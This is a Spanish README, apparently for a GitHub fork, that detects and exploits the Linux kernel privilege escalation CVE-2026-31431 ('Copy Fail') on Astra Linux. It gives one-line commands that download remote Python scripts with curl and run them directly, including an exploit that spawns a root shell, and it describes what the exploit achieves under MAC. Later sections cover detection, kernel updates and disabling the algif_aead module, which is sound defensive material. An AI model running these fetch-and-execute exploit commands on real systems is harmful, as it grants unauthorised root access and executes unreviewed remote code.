
# Detecta y explota CVE-2026-31431 (Copy Fail) escalada de privilegios local en Astra Linux, con compatibilidad con Python 3.7+ y despliegue en una sola línea.
Comprobación segura sin explotación:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
Explotación (cuando lo solicite, deberá introducir la contraseña del usuario)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
Este es un fork adaptado para Python 3.7, 3.8, 3.9, 3.10, 3.11.
Los exploits originales requieren Python 3.12+ debido al uso de os.splice().
# ❌ Exploit original (solo Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice()###Explotación en Astra Linux
La vulnerabilidad ha sido verificada en Astra Linux. El módulo algif_aead está presente, la explotación permite obtener acceso a sudo y elevar privilegios hasta root.
Sin embargo, con el control de acceso obligatorio (MAC/Parsec) activado, no es posible convertirse en superadministrador (nivel 63 / rol astra-admin): las etiquetas de seguridad obligatorias limitan los privilegios incluso del proceso root, y la política de seguridad no permite cruzar los niveles de confidencialidad establecidos.
Por lo tanto: 🔴 Sistemas Astra Linux sin MAC o con MAC desactivado — completamente vulnerables. 🟡 Sistemas con MAC activado — parcialmente protegidos: es posible obtener root, pero las capacidades reales del atacante están limitadas por la política de seguridad obligatoria.
En ambos casos, al detectar la vulnerabilidad, es obligatorio aplicar las medidas de los puntos 2 o 3.
━━━━━━━━━━━━━━━
En cada servidor es necesario ejecutar el siguiente comando. No realiza ningún cambio en el sistema y solo comprueba si el módulo vulnerable está disponible.
Conectarse al servidor y ejecutar en una sola línea:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** VULNERABLE **\n" + ""*30)'
🔴 Si en la pantalla aparece la palabra VULNERABLE — el servidor es susceptible a la vulnerabilidad, es necesario pasar al punto 2. 🟢 Si aparece un mensaje de error de Python — el servidor no es susceptible a la vulnerabilidad, no se requieren más acciones.
━━━━━━━━━━━━━━━ 2. Solución principal — actualización del kernel
Es necesario actualizar el kernel a una versión que contenga el parche: 6.18.22, 6.19.12 o posterior. Hasta que se realice la actualización, la desactivación del módulo del punto 3 proporciona protección.
Para Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
Después del reinicio, es obligatorio comprobar que se ha cargado exactamente el nuevo kernel:
uname -r
Si el comando muestra una versión inferior a 6.18.22 — el kernel no se ha actualizado o el sistema se ha iniciado con la imagen anterior. En este caso, es necesario asegurarse de que la actualización se haya instalado (apt-get dist-upgrade no haya dado errores) y repetir el reinicio.
⚠️ Astra Linux 1.7.x: Hasta que se publique la actualización, la única medida de protección es la desactivación del módulo del punto 3. Para obtener el parche, se recomienda contactar con el soporte técnico de Astra Linux a través del área personal.
━━━━━━━━━━━━━━━ 3. Medida temporal de protección — desactivación del módulo vulnerable
Si la actualización del kernel no es posible en este momento, como medida temporal se recomienda desactivar el módulo vulnerable. La operación no requiere reinicio y entra en vigor inmediatamente. Antes de aplicarla, se recomienda probar los cambios en un entorno de pruebas: en casos raros, algunos servicios pueden utilizar este módulo directamente.
Comando para desactivar el módulo. Ejecutar como root (o mediante sudo):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
El primer comando prohíbe la carga del módulo en los siguientes arranques. El segundo lo descarga ahora mismo, si está cargado. Un error en el segundo comando es normal, significa que el módulo ya no estaba activo.